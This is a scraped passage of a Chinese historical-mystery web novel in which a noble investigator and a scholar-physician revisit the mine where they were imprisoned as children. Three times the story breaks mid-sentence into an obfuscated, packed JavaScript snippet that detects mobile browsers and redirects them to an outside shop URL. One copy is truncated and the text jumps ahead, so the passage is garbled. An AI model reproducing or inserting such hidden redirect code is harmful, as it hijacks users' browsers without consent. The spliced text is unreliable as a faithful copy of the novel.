“可以。”慕天知点头,其实回忆起来,自己一些口味偏好跟原身确实挺像的,这点也方便他顺滑地度过了刚穿越过来的那段日子,这一世的爹娘从没怀疑自己儿子的“内芯儿”换了人。 秦觅带他到了自己常光顾的摊子:“这家的小馄饨特别好吃,汤头清淡好喝,今晚我请客。” “那我就不客气了。”慕天知拉开凳子坐下。 摊主是一对中年夫妻,那位丈夫先过来对他恭敬行礼:“镇抚使大人。”又跟秦觅打招呼,笑容自在了些,“秦大夫。” 秦觅笑道:“老吴,来两碗馄饨。” “不巧,今夜生意不错,剩下的馄饨只能做一碗了。”老吴歉意地说。 慕天知便道:“一碗也无妨,分成两碗便好。” “呃……”老吴面露难色,“只剩一个干净碗,水用完了,没法刷碗。” “那就一碗吧,给镇抚使大人尝尝。”秦觅莞尔。 片刻后,一碗热腾腾的鸡汤馄饨便端上了桌。 慕天知把碗往秦觅面前一推:“该如何添加佐料,望秦秀才指点。” “既然你口味没变,那我就按你曾经说过的来了?”秦觅拿起桌上的各种小瓶小罐,加了不少胡椒粉和辣椒油,把浅色的鸡汤调的满碗通红,“辣椒不算辣,但很香,跟肉馅的肉香相得益彰。” 刚调好味,老吴就又送了一只调羹过来:“两位既然口味差不多,不如一起吃。” 有些事上秦觅不拘小节,但真到了这时候,他又有些拘谨。 眼前这位镇抚使大人不是当年的小烽哥哥,自己也不再是心中没有贵贱之分的孩童。 虽然十二岁便考取了秀才,但那会儿真是一心只读圣贤书,人情世故并不太懂,现在已经不复当年的单纯,不知身边的天潢贵胄介不介意跟自己分享。 倒是慕天知爽快地接过调羹,向老吴道了声谢,然后冲秦觅一扬下巴:“吃吧,别见外。” “大人也同其他下属分食同一碗饭食么?”秦觅舀起一颗小馄饨,垂眸吹了又吹。 慕天知嗤笑一声:“你想听到什么答案?” 秦觅便没再吭声,专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427066|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注地吃着馄饨,仿佛是需要静气凝神、专心致志才能品尝的美食。 慕天知看到他泛红的耳廓,心里有一种说不出的快意。 聪明的秀才只是看起来洒脱,偶尔逗上一逗,露出的窘相实在可爱。 可爱得让人忍不住想伸手去摸一摸他那睡得极为标致的后脑勺。 喧闹的街边,两人坐在破旧小桌的夹角上,分享同一碗香喷喷的馄饨。 这种亲昵莫名让他觉得开心安稳。 是穿越之后都没有过的体验。 或许原身和这秀才真是命里注定有渊源,自己也当然该善待他一些。 秦觅本就不算饿,胃口也不大,吃了两颗馄饨就放下了勺子,表示自己饱了。 “你小时候也吃这么少吗?”慕天知问他。 “嗯,胃口不壮,爹娘也曾发愁过,但看我其实喜欢吃,只是吃不多,也就放心了。”秦觅莞尔道,“他们定是喜欢大人这样的,身强力壮,气血充足,一看就身体很好。” 慕天知又问:“当年慕烽都答应过你什么?比如来曜京之后要带你去哪里玩,吃什么美食?我可以带你去。” “大人失忆并非自己所愿,没必要为此觉得愧疚。”秦觅答道,“况且我来曜京也一年有余,想去的地方自己都去过了。” 慕天知想了想,又问:“那你想去我家中转转吗?看看慕烽的书房,还有从小长大的院子,他应当跟你聊起过不少生活中的琐碎事。” 那些他都没有改变过,依旧是过去的模样。 “怎么说得好像换了一个人似的,你只是失忆罢了,哪怕改了名,人也还是以前那个啊。”秦觅笑了笑。 慕天知无言以对。 自从他失忆,景国公府上下,包括他的爹娘,没人会在他面前提过去的事情,他也从没有想过要问,名字都改了,心理上从未觉得两人有什么关联。 只不过爹娘对他极好,他也确实把二老当做亲生父母看待,也很快适应了自己在这里新的身份,感觉这里的一切都属于自己,融入得非常好。 秦觅端详着他略显复杂的表情,主动道:“你不必刻意把自己跟慕烽分开来,我不会因着过去的情分缠着你——” “我不是那个意思。”慕天知打断道,“你总爱多想。” 秦觅勾了勾唇角,没吭声。 多想总比想得太少要好。 方才还挺温馨的氛围,像是随着陡然转凉的夜风,变得有些冷淡了。 现在的情况有些难以处理,既有想不起来的过往,又有无法忘却的露水情缘,秦觅站在慕天知的立场上都替他觉得为难。 但有些事越说越乱,不如不提。 于是他转了话题:“大人,易安县离曜京不算太远,若是骑马去,多久能到?” “快马加鞭不停歇,大概一天一夜,若路上宽松些,两天能到。”慕天知回答。 秦觅试探问道:“大人可否有空,若没空也无妨——” 慕天知截断了他的话:“有空,但你真的要去吗?不怕看到那些地方,勾起一些不愉快的回忆?” “若能最后将那凶手抓到,我就会很愉快了。”秦觅弯起眼睛,“小小不愉快不足挂齿。” “好,待我安排好一切,便和你一同去看看。”慕天知应道。 两人分开后,秦觅一个人散着步,悠闲地回到了家,心情是前所未有的畅快,平日里沉甸甸的心脏似乎也轻松了许多。 他没再去管陈茂遗物当中那些奇怪的书信,把它们收起来放回书桌下,等改日有空再来翻阅。 时间走到了子夜之时,偌大的曜京也归于平静,长青街这边更是万籁俱寂,没有人留意一个黑影悄无声息地离开了秦觅的小院。 相隔八百多里的易安县城内,一户普通三进院的民宅里,主人卧房中还点着两支漂亮的红烛,床边的芙蓉帐被一只涂了红色蔻丹的纤纤素手撩起,露出一张俊俏的美人脸。 床内坐着的胖男人脱得只剩了敞着怀的中衣,满脸横肉在这昏黄的光线中显得油光满面,看到眼前的美人,炯炯有神的小眼睛顿时精光闪闪。 “美人儿,美人儿……”看起来不太聪明的人说起话来也像是要流口水的那种,把自己的肥猪手伸向了女子半露的香肩。 那女子穿得极为清凉,红色肚兜外只披了一层薄纱,曼妙身材若隐若现,显得极为诱人。 她笑盈盈地坐到了胖男人身边,姿态妖娆地向他靠近,似乎完全不介意此人看上去多么令人恶心。 胖男人迫不及待地吻向了她的脖颈,猪拱地一般地在她颈窝里一通乱拱,就当他的肥猪手想要伸进女子薄纱之中时,异变陡生—— 突然之间,女子从身后拿出了一把榔头,狠狠地往那胖男人头上砸去! 29. 贰拾玖 初升的阳光穿过乳白色的晨雾,映在下方笔直宽阔的官道上,四匹骏马伴着一辆马车,飞快地向前奔驰。 梅淼和窦坤都是骑一匹牵一匹,窦乾充当了马车夫,慕天知本尊则正陪秦觅坐在马车里下棋。 “可还受得住?” 摇摇晃晃的车厢里,慕天知举着黑子,挑眼望着对面的秦觅。 对方提出要去看犯罪现场,他也想再过去看看能不能有新发现,于是即刻向皇帝告假,几天后便带人动身。 怕秦觅的心脏受不了马背颠簸,便为他搞了一辆马车,速度没有跑得太快;又不想他一人坐车无聊,自己便时不时上车陪他一会儿。 俩人之间半生不熟,互有猜忌,对坐也没什么好聊的,便下起了棋。 秦觅垂眸瞥了眼棋局,露出了促狭的笑容:“我身子没那么弱,不至于连这种摇晃都受不住,大人又快要输了,突然关心我,怕不是在转移视线?” “真是好心当成驴肝肺。”慕天知啧了一声,把棋子扔在棋盘上,“我是那么输不起的人吗?” “还以为大人纵横捭阖,棋艺也定然独步天下,谁知道这连五子的技艺比小时候还差。”秦觅并没有见好就收,反而笑得更坏。 慕天知不爽地把棋子往棋奁里收:“打人不打脸,你也学学高情商的说法吧。” 从对方话里听出,原身的五子棋技术也不怎么样,心里好过一些。 “高情商?这又是什么意思?”秦觅好奇地问,“要我委婉些嘲笑你吗?” 慕天知转身往马车座椅上一躺,枕着自己的手臂,故意道:“我看你对我是越来越不见外了,别忘了我其实根本不记得你,我们之间没有过去的情谊,你最好给我收敛一点!” 自从聊开了绑架案,他发觉这个秀才在自己面前越发放肆,虽然左一句“大人”右一句“世子”,但揶揄起来真是一点面子都不给。 必须要进行适当反击才行! 秦觅忍俊不禁地挪到他脸旁,笑着揪了揪他的耳朵,压低声音:“可我俩有一夜风流的情意,世子总不会提上裤子就不认吧?” 慕天知:“……” 他翻身坐起来,以迅雷不及掩耳之势把秦觅打横抱在自己腿上,扭身向下把人压在座位上。 秦觅只有屁股和肩膀着地,腰身悬空,饶是他柔韧性再好也有点不稳当,何况还是在摇摇晃晃的马车上,慌张地抓住了慕天知的袖子,下一瞬装出了淡定自若的模样。 此次出行算是私事,这位世子没有穿公服,穿了件深蓝色的贴里,锦缎花纹一看便是个贵人,灰白头发依旧用网巾罩起来,但与平时不同,发髻上戴了个白玉小冠,衬上英俊桀骜的五官和浓黑的长眉,显得贵气十足。 秦觅目不转睛地盯着他,看他这张脸向自己压下来,心里隐隐有一些……兴奋? 不知为何,他在慕天知身上既能找到当年小烽哥哥的影子,又得到一种全新的感觉,这种杂糅在一起的体验如同烛火之于飞蛾那样,紧紧吸引着他。 他与慕烽虽是共患难过的故人,但到底也有十年没见,再加上去年街头对视后,对方没认出自己,秦觅慢慢地把那份失落治愈了,只是心里还有一点执念没放下。 得知对方失忆,这几天来他也调理好了心情——既然如此,除了接受,还能有什么办法? 他不是抱着过去不肯放的人,倒是眼前的这位镇抚使大人,让他觉得很有趣。 想小小地纠缠一番,逗趣也好,疯狂也好,总之是好玩的。 剩下的时间本就不多,何不享受生命? 慕天知看到他脸上一闪而过的慌乱,得意地勾了勾唇角,压低声音:“秦秀才,为何总要把关系往复杂里说?心照不宣地不再提不好吗?” “不好。”秦觅张开手掌,抓紧了他强壮的手臂,隔着衣料也能感受到下边的肌肉隆起,“是世子自己说记不得过往,没有过去的情谊,我只能时不时提起那一夜,不然拿什么勾着世子?” “勾着本世子做什么?” “查案也好,怎么都好,难得攀上一位皇亲国戚,难道不是好处多多?” “秀才是这般势利之人?” 秦觅冲他眨了眨一只眼:“世子不知道的多着呢。” 慕天知低头看着他俊俏的脸,一天一夜的路程并没有让这位娇弱秀才露出多少疲态,看来他所说的身体尚好不是虚言,这会儿一双含情眼眸色潋滟,似笑非笑,在光线不算明朗的车厢里,瞳仁黑漆漆的透着潮意,确实很能勾人。 尤其那双唇色略深的薄唇,自己曾经吻过,知道那有多柔软,多让人难以抗拒。 慕天知有一些心乱,他时常不知该如何对待秦觅,远离不了,又无法对其泰然处之,内心深处总时不时被此人吸引。 比如现在,心尖上像长了毛似地发痒,总想亲下去。 但又总觉得这样更对不起原身。 毫不知情的情况下睡了人家生死与共过的旧友尚算情有可原,若是变本加厉,岂不是畜生? 况且这位秀才已经很可怜了,又是一介百姓,自己这么做,实在有仗势欺人、欺男霸男之嫌。 两人各怀鬼胎地彼此对视了片刻,直到马车突然停下,外边响起了窦乾的声音:“世子,要下小路了,换马吗?” 慕天知身手敏捷地将秦觅托了起来,转身把人抱在旁边坐好,欲盖弥彰地干咳了一声,掀开车帘向外看去:“换。” 秦觅跟在他后边下了车,看到眼前的景象,有一点感慨。 “当年师父就是在这附近救起我的。”他指了指路边,“不是很准确,但差不多就是这里。后来我想回去找你,可是竟不知道当时我们到底被关在何处,师父让人用小车推着我,在周围找了好远都没有线索,最后是我体力不支,被师父强行带回去了。” 慕天知曾经来过一次,认识案发地的路,指着远方一座山:“看见了吗?就是那儿,很远,过去少说也得有十几里,我们要骑马过去。” 他安排窦乾在路边看着马车,让秦觅骑着自己的隐夜,自己跨上另一匹马,带着他们几个向那大山方向行进。 这是相隔十年之后再次回到这里,秦觅看着完全陌生的景物,心情有一些难以形容。 并非害怕,具体是什么又很难说清。 “秦秀才,当年为什么没去报官?”梅淼骑着马到他身边,好奇地问,“若是报了官,或许当时还方便追查,那会儿大家都以为只有我们世子唯一一个幸存者,可惜他失忆了什么都想不起来。” 秦觅看了看慕天知投过来的目光,解释道:“那时候没想太多,知道自己重归自由,第一件事就是要回家。况且那会儿我被关起来那么久不见天日,再加上本来身体就不好,又遭遇了爆炸险些没命,顾不上别的。回到家中,得知双亲离世,更是悲痛欲绝,根本无力报官。” “这倒是。”窦坤很理解地说,“毕竟你当时才是个十二岁的孩子,就算天资聪颖考中秀才又如何,怎么可能做到成年人那般理智。” 秦觅骑在马上慢悠悠地走着,目光投向前方的大山,想起那段肝肠寸断的日子。 别说慕烽被砸了头失忆,自己当时被发现的时候也是奄奄一息,全身上下到处都是被石头砸出来的伤,被师父包扎完,浑身都是白布带,躺在床上几乎连动都动不了。 “师父本想让我在易安县养好伤再回家,但我等不及,他就只能雇了马车让我躺在里边,反复叮嘱车夫慢点赶车,好在那会儿天气不热,伤口不易发炎,而我归心似箭,求生意愿很强,伤好得很快,等到了家就能下地了。”他轻声道。 略过得知父母双亡那段,他继续道:“之后决定跟师父离开,很长一段时间我都不愿再提起这件事,师父也曾问我要不要报官,我当时反应特别激烈,抗拒那段回忆,师父就没再问了。” 梅淼又追问道:“那你师父是什么样的人啊?你九死一生逃命出来,能遇上个名医,算是运气不错了,像我们世子就有点惨,报官之后被确认了身份才得到好一些的治疗,要不然可能不至于失忆呢。” “师父出身行医世家,自己也很聪慧,二十多岁就考取了举人,之后没有再考进士,而是随父亲做了郎中,常常云游四方,为的是增长见闻,多了解些疑难杂症——幸亏如此,我才得他所救。”秦觅笑道,“他在丰原的医庐本在县城里,但为了让我好好养伤,将我送到城郊山中别院休养,耐心替我调理身体,所以等伤势痊愈后,我便拜他做了师父,学习医术。” 窦坤点头道:“说起来你是幸运的,不仅能幸存下来,还有人照顾你——” 慕天知突然出言打断:“窦坤!去前边探探路。” “遵命!”青年一夹马腹,立刻向前奔去。 梅淼一看就剩下自己,立刻喊了句“我也去”,连忙跟了上去。 秦觅向慕天知微微颔首:“多谢世子。” 他明白对方突然打断窦坤的用意,心中十分感谢。 十年来,他总在叩问自己——为什么是我活下来?我真的配吗? 这样的问题永远无解。 “如果身体撑得住,我们也加快些,早去早回。”慕天知提议道。 秦觅点头:“我可以的,走吧。” 两人便策马前行,又跑了大概两刻钟,总算到了山前。 窦坤和梅淼都下了马,见他们跟上来,抱拳道:“世子,应该就是这里。” 眼前是一片郁郁葱葱的小树林,林中有一条小路通往山中,秦觅下马端详了片刻,对此处感到陌生。 “我被人掳来时,一睁眼就在里边了,外边什么样子,我不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427067|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚。”他无奈道。 慕天知把马拴在树上:“无妨,随我来。” 四人步行走进小路,路上他解释道:“根据都衍卫的调查,这座矿山产煤,多年前由于开采殆尽,整座山的植被也遭遇了破坏,废弃之后才慢慢恢复,这些树都是近些年才长起来的,当年你我被绑之时,此处还是空地一片。” 山路崎岖不平,秦觅虽然觉得自己应付得来,但这位景国公世子都把手臂伸过来了,他当然不好拒绝,于是握住对方手腕,道了声“多谢”。 他不认路,便跟着慕天知向前走,很快便走进了山洞中的巷道,一股熟悉的冰凉阴森的感觉席卷而来,心口陡然发紧,连呼吸都觉得有些凝滞。 慕天知感觉到他握紧了自己的手腕,低声道:“如果不舒服,随时告诉我。” “好。”秦觅简单地回答。 他自己也不确定会有什么样的反应,但既然来了,就最好别半途而废。 正在给自己打气之时,感觉手被从对方手腕上掰开,被牵入了一个温暖的大掌之中。 和当年的感觉不能说一模一样,但至少压住了一半心慌。 他轻轻回握了一下,以示感谢,没有多说什么。 窦坤和梅淼点起了带来的火把,照亮了巷道,一个在前,一个在后,把慕天知和秦觅夹在中间。 借着微亮的光,梅淼东张西望,感叹:“这里真是挺吓人的,难以想象一群小孩被关在这里会是什么感觉。” 秦觅看着地面上他和慕天知手牵手的影子,想起当年他俩的样子,突然间笑了起来。 “那时候我还没开始长个儿,虽然十二岁,但个头就像八、九岁的小孩,你从小就长得高,我才到你这儿。”他在对方上臂位置比划了一下,“你已经是少年模样,我还像根豆芽菜,那会儿还取笑我可能会长不高,现在我还算可以吧?只比你矮两寸而已。” 慕天知勾了勾唇角:“秦秀才长身鹤立、儒雅风流,若是春闱后参加殿试,必定会被圣上钦点为探花郎。” “难道我不是状元之才吗?”秦觅轻笑道。 慕天知莞尔:“探花郎最俊。” 在他们身后的梅淼:“……” 心中默念——我什么都没听见,我是要做千户的女人!仕途要紧! 慕天知本是打趣,想活跃下此刻的气氛,免得秦觅太过紧张,谁知却见秀才怔怔地看着自己,眼睛湿漉漉的,像是蕴着眼泪。 “怎么了?夸你好看还不行?”他有些莫名。 秦觅笑了一下:“当年你说自己要做探花郎的。” “是吗?我还吹过这种牛?”慕天知自嘲,“爹娘分明说我读书也就那么回事,所以没反对我弃文从武。” 倒也不完全是这样,他弃文从武,纯纯是因为穿越过来之后,学不来那些之乎者也,爹娘没反对,不过是因为心疼他遭逢大劫,事事随他心意罢了。 反正不管考不考科举,将来都能袭爵,某个差事并不难。 秦觅却明明记得,当时在山洞中,不管是背诗文还是说策论,小烽哥哥都很有才华,怎么能叫“也就那么回事”? 也许这是对方自谦,他没多问,只是握紧了掌中的手,低声道:“故地重游,你可否能回想起一些当年的画面?” “没用的,多年前我就来过一回,什么都想不起来。”慕天知说。 那会儿他真心希望能想起些原身的记忆,自己占了人家的身份和爹娘,至少也得帮人查出这幕后真凶报仇雪恨才算安心,可惜的是,不知道是自己自我意识太过旺盛还是原身真的消失得那么彻底,总之是无事发生。 秦觅安慰道:“无妨,我只是怕仅凭自己的回忆帮不上什么忙。” “已经过去十年,本就希望渺茫,我们都不要抱什么幻想才对。”慕天知捏了捏他的手。 秦觅“嗯”了一声:“尽人事,听天命。” 走在前边的窦坤发出了兴奋的声音:“世子,原来这边别有洞天!有个很宽敞的大洞!” “可能是最初囚禁我们的那处。”秦觅扯着慕天知的手,加快脚步向前走去。 地面坑坑洼洼,他又有些心急,转过弯的时候看到那扇曾经关得严严实实的铁门,心脏猛地停跳,脚下被凸起的石头绊住,没有维持住平衡,瞬间向一旁倒去。 慕天知下意识地抄住他的腰一捞,俩人都没站稳,趔趄地向一侧退了几步。 梅淼伸手想拉他们,可是指尖只是堪堪擦过秦觅的袖子,扑了个空。 怀里抱着人、后背猛地撞在洞壁的石块上之时,慕天知的脑袋里瞬间划过了一个画面—— 一个瘦弱的孩童,尖声大叫着“你去死”,把一个明显年纪更小的男孩往石壁上推去,男孩后脑勺重重磕了一下,登时头破血流地晕倒在地! 30. 零叁拾 回想起这一幕,慕天知顿时倒吸了一口凉气。 是原身的回忆吗? 怎么会偏偏这个时候想起? 那推开人的孩童,是当年的秦觅? 尽管他脸上脏兮兮的,但轮廓和眼睛都很像。 虽说入了真凶设下的大逃杀之局,免不了会手沾鲜血,毕竟你不杀人别人就要杀你。 可对方那个孩子那么小,秦觅的表情看起来却又是那么恶毒。 不像是被逼无奈伤人,反倒像是故意而为之! 慕天知眉心微锁,告诫自己不能这么快下判断。 前因后果具不清楚,不能无端苛责别人。 “世子,你没事吧?”秦觅慌忙站稳,仰头看这个肉垫子,却见慕天知表情空白,双目发直,有些担心,于是往他后背摸去,“是不是撞得厉害了?” 梅淼和窦坤也连忙凑了过来:“受伤了吗?” “无妨。”慕天知回过神来,“一块石头而已,没什么大碍。”他向梅淼伸手,“火把给我。” 梅淼连忙双手奉上。 慕天知握住火把照着脚下,拉着秦觅四下查看:“看看你能不能想起什么,尤其是关于凶手的那部分。” 秦觅张望了一下,觉得这里实在是熟悉又陌生。 想来都衍卫当年应该是把这里查了个底朝天,再加上中间隔了十年岁月,很多痕迹都已经模糊不清了。 “我们当时就是在这里待着,小的孩子会主动挨着大的孩子,女孩们都挤在一起。”他比划着说,“你是最后一个被推进来的,就从那个送食物和水的门里。” 秦觅看到了那扇嵌在石块当中破败的木门,加快脚步走过去。 上次来的时候是多年前,慕天知记得那会儿木门是打开的,他进来查看一番,没有什么发现就走了,显然当时不够细致。 当时康淳帝知道他要来,特意让曾经侦办此案的都衍卫带他过来,那人许是怕他发现什么新线索,让自己落个不尽心办差的罪名,带着他走马观花,故意让他看不真切。 慕天知一眼就看出他的心思,并没有执意细探,本想着稍后有时间自己单独再来,然而回京后一日忙过一日,就把这事放在一旁了。 希望这次能有些收获。 这扇木门应当是从上方开合,此刻下边卡了几个大石头,露出了一些缝隙。 慕天知抠住木门底边往上一抬,没有想象中那么重,很轻松就抬了起来:“窦坤,先过去看看!” 青年把手里的火把交给梅淼,应声躺倒在地,游鱼一般地从下边滑过去,站起身之后观察着周围道:“就是一个门洞,大概半人多高,等等——” 秦觅看着门缝里窦坤的双脚消失,片刻后慕天知手里的门“自动”升了上去,俩人也跟着走进门洞。 “控制这门的绳子在上边!”窦坤从他俩头顶探出头来,“这边还有个大石板,能够压住这道门。” “原来如此,难怪小时候我们抬不上去。”秦觅恍然大悟。 小鹌鹑们不肯就这么被困住,也曾合众人之力想要打开这扇门,可怎么都打不开,才逐渐放弃了挣扎。 慕天知踩着石墙跳上去,再伸手下来把他整个人“提”上去,三人站在了同一个巷道里。 “矿井内部巷道纵横交错,真凶为了控制我们,定是提前来利用旧有地形做了一些改进,不必太复杂,只要能控制住我们这些什么都不懂的小孩就够了。”秦觅左右端详道。 梅淼举着两个火把,站在下边感叹:“那个人到底为什么要这么做?不为财也不是报仇,就是看小孩们自相残杀取乐吗?他能把世子掳来,肯定知道咱们景国公府的地位,就算是要点赎金也说得过去吧!现在这是图什么呢?” “怎么看小孩们自相残杀?”窦坤看着前方黑漆漆的巷道,“难不成他在每一道矿井里都打了孔?那他又藏在哪里看?” 慕天知说:“他可能只是尾随,要么就根本没在看,只不过是定期巡查一下‘战况’。” “不需要亲眼看见,只要听到孩子们惨痛的声音,于他而言就够了。”秦觅幽幽地说,“猜想到我们这群可怜虫正在他的操控下为了活命殊死搏杀,再看到尸体,足够让他觉得快意。” 梅淼叹了口气:“还是那句话,图啥呢?” “可能就图个开心,能掌控这么多人的命运,让他觉得自己很强大。”秦觅回答,“也有可能为验证他心中的想法。” “什么想法?” 秦觅看了看身边的慕天知,将冰凉双手负于身后,垂眸道:“人之初,性本恶。哪怕懵懂无知的孩童,为了活命,也会大开杀戒。” 巷道里很静,什么外界的声音都听不到,只有他刻意压低的声音在回荡,听得人毛骨悚然。 尽管在北镇抚司待了这么些年,梅淼依旧不太敢相信竟会有人恶毒至此,浑身起了一身鸡皮疙瘩,手里举着两支火把还觉得后背发凉。 “我不这么认为。”慕天知突然道。 秦觅疑惑道:“世子怎么看?” “凶手这么做,显然是笃定认同性本恶论,他根本用不着抓这么多孩子过来验证,最后还那么说话算话,把我俩给放了——我可不觉得他是什么守信之徒!”慕天知冷笑道。 秦觅想了想:“你是觉得,如果他想验证,也应该让全天下都知道这次的结果,而不是自己偷偷逃之夭夭,让这一切都悄无声息地淹没在时光里,是吗?” “我不知道他想做什么,正常人没必要去揣摩变态的想法,你也没必要去思考这个,免得把自己绕进去。”慕天知握住他藏在身后冰凉的双手,“我只是觉得目前呈现的情况跟你说的动机不太匹配,回头有了新的证据再细细思量。我们下去吧。” 几人又退回了下边那个大一些的山洞里。 慕天知问秦觅:“你还记得当年我俩选的哪一条路吗?” “这怎么可能忘。”秦觅苦笑道,指着前方七八条分岔路最中间的一条,“这个,你选的。” 慕天知从梅淼手里拿过一支火把:“我们重走一遍,可以吗?” 尽管已经不可自控地开始发抖,秦觅还是咬紧了后槽牙:“可以。” “你俩随便转转,不过别跟着我们。”慕天知对梅淼和窦坤说,“稍后哨声联系。” 两名下属乖巧地站在了原地,目送他俩手牵着手走进了巷道里。 秦觅每走一步,几乎都能看到当年的自己,但眼下又跟当年截然不同。 自己的个头高了不少,稍微踮脚就能碰到巷道上沿;原本觉得宽敞的空间也显得狭窄了许多;地上投下的两个人的身影,也比过去高大威武。 没什么可怕的。 他低声道:“当年在这里已经没有了时间的概念,不确定具体待了多久,一路上时不时会遇见其他的小孩,他们——” “别去想这些。”慕天知打断道,“你可以试着回忆有没有人跟踪你们,我指的是成年人。” “你觉得他会偷窥?”秦觅问。 慕天知一手举着火把,还要微微偏着些头,免得发髻碰到巷道顶部:“他要掌控全局,自然要在暗中观察。巷道里虽然没有人工凿出的孔洞,但有天然形成的裂缝,未必不能窥见一二。” “可是当年机警如你都没发现……” “说明他善于隐藏。”慕天知说,“你也不必太强求,想得太多会自动脑补,反而不够真实。” 秦觅疑惑:“脑补?又是一个奇怪的词,是指……头脑会幻想出不存在的画面吗?” “秀才聪明。”路上遇到了第一个分岔口,慕天知停住脚,“往哪儿走?” 秦觅微微弯腰,借着明亮的火光在洞壁上摸索了片刻,欣喜道:“这里有我们当年做的标记,往这儿走!” 慕天知凑过去一看,的确是有用石块画出的箭头,于是重新拉起他的手,按照标记方向继续向前。 “当年为什么会想着要做标记?”他随口问道。 秦觅想了想,回答:“你说万一前方没有出口,可能我们还会拐回来,做了标记免得迷路。” 慕天知点了点头,没再作声。 两个人就在火把光芒的映照中慢慢向前走着,走过了好几个岔路口。 看着熟悉又陌生的环境,秦觅的心脏始终悬着,十年时光像是被凝固在了这里,此处几乎没有发生任何变化。 因着不见天日,也没有水分,石缝里仅有一些十分耐旱的杂草艰难生长,长得极为缓慢,目之所及的地方还是大片大片黑黢黢的石壁。 恍惚中耳边又响起了一些杂音,那是其他孩童在别的巷道里发出的哭喊声;有时候还有窸窸窣窣的动静,像是兔子老鼠甚至蛇活动时碰到了碎石发出的声音,还有—— “啊!” 刚刚走到一处岔路口,慕天知正想看看洞壁上有没有做的标记,就听旁边的人突然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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才九岁的孩童,就算已经绝望,可能还没有“自尽”这个念头,哪怕害怕至极,也只会蜷缩在一边,等待末日降临。 可能会渴死、饿死、冻死,或者被别人杀死,但不太会主动寻死。 因为他们还不理解死亡的含义。 慕天知觉得探讨这些对他实在过于残忍,一时没有开口,又听他之后片刻沉默,猜测他已经想明白了关窍,便没有再继续这个话题。 “方才刚进那个山洞的时候,我们不是险些摔跤么?”他主动另起话头,“那一刻,我脑海中闪过了一些回忆。” 果然,听闻此言,秦觅跨步上前同他并肩,兴奋道:“真的?都想起什么来了?” “不是连贯的记忆,只是一些画面,是我们两个,在这巷道里。”记忆的内容慕天知不打算提,毕竟那只是短暂的画面,不清楚前因后果,不能妄下定论。 看着面前人陡然明亮起来的脸庞,他觉得对方应该是没什么隐瞒的。 或者说,如果有什么不可告人的秘密,也是属于他们两个人的。 秦觅长长地呼出一口气:“无妨,能想起一点,说明记忆并非不能完全恢复,慢慢来好了。其实想不起来也挺好的,毕竟那些不是什么好的记忆。” 不是什么好的记忆? 到底有多不好? 狭窄的巷道里,慕天知什么都没说,两个人沿着标记一路往前走,没过多久就走到了一片天光大亮之处。 这里便是被火雷炸开的地方,目前只是一片断壁残垣的遗迹,遗迹之上长出了不少花草树木,活像一个郁郁葱葱的坟茔。 俩人从碎石缝隙里出去,就遇上了迎过来的梅淼和窦坤。 “正正好好!”梅淼笑道,“我们猜你们就要从这里出来,特意沿着山路找到这边来!” 秦觅莞尔道:“梅百户英明!” “有什么发现吗?”窦坤迫不及待地问。 秦觅看向慕天知,觉得他应该不愿说出自己恢复了一小点记忆的事,果然便听对方道:“没有。” “时间过去太久,能超出当年调查结果属实不太可能,就算是秦秀才是当事人,当时他年纪小,之后又遭逢剧变,能记得的事情也有限。”慕天知沉吟道,“幕后真凶行事缜密、计划性强,单凭一个孩童模糊的记忆很难发现什么破绽,这桩案子还需从长计议。我们走吧。” 31. 叁拾壹 经过十年时光,山外已经变化太多,不会留下什么证据,没有查探的必要,几人便没有多做停留,很快骑马返回了方才的路边,同守车的窦乾会合,继续上路。 傍晚时分,他们抵达易安县城,在这里稍作休整。 易安县是人口超过二十万、经济实力超群的上县,城内繁华状况可比肩偏远地区的府城,慕天知身为景国公世子,住的自然是县城内最好的客栈。 客栈规模很大,院内园林清净雅致,前后共有三栋五层客房高楼,以最后一栋最为僻静,三楼环绕中庭的四间天字号上房全都归了他们一行。 不仅如此,晚饭还是在易安县最好的饭馆吃的,菜色精致,味道绝佳,秦觅许久没有尝过这么多美味,每一碟挨个夹几筷子,居然把自己撑得肚圆,走路都嫌没力气。 县城夜景是不错的,夜市更是热闹,慕天知见梅淼和窦家兄弟都已经蠢蠢欲动,便放他们自由活动,自己与秦觅慢慢溜达着往回走。 “他们三人与世子关系甚笃,不像下属,倒像兄弟姐妹。”秦觅望着三个年轻人跑向远处的欢快身影,笑道。 其实大家年纪差不了几岁,由于性格和身份不同,显得他们更活泼些。 慕天知双手负在身后,特意放慢脚步好让他能跟上:“差不多,大豆小豆是我十四岁苏醒后进府的,他俩的父亲是从九品京官,俩人出身不算差,府中也不把他们当书童看,就当是给我作伴了。多年来我们一起习武学文,他俩也跟我进了都衍卫,比起主仆,确实更像兄弟。” “至于梅淼,是第一批女子都衍卫,她自己吃苦耐劳,敢打敢拼,轻功和射术都在很多男子之上,自己一步步从校尉拼到百户,我看她聪明伶俐,功夫又好,便常带在身边,把她当妹妹看。” 